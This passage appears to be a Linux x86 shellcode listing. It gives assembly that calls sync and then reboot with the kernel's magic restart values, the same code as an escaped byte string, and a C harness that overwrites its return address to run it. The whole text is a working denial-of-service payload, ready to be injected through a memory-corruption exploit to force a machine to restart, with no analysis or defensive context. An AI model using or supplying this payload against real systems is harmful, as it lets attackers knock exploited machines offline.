jmp rootshell coded_by_bmV: popl %edi call reb00t rootshell: call coded_by_bmV reb00t: xorl %eax,%eax movb $0x24,%eax int $0x80 xorl %eax,%eax movb $0x58,%eax movl $0xfee1dead,%ebx movl $672274793,%ecx movl $0x1234567,%edx int $0x80 xorl %eax,%eax movb $0x01,%al int $0x80 */ char shellcode[]= "\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff" "\xff\xff\x31\xc0\xb0\x24\xcd\x80\x31\xc0\xb0" "\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28" "\xba\x67\x45\x23\x01\xcd\x80\x31\xc0\xb0\x01" "\xcd\x80\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }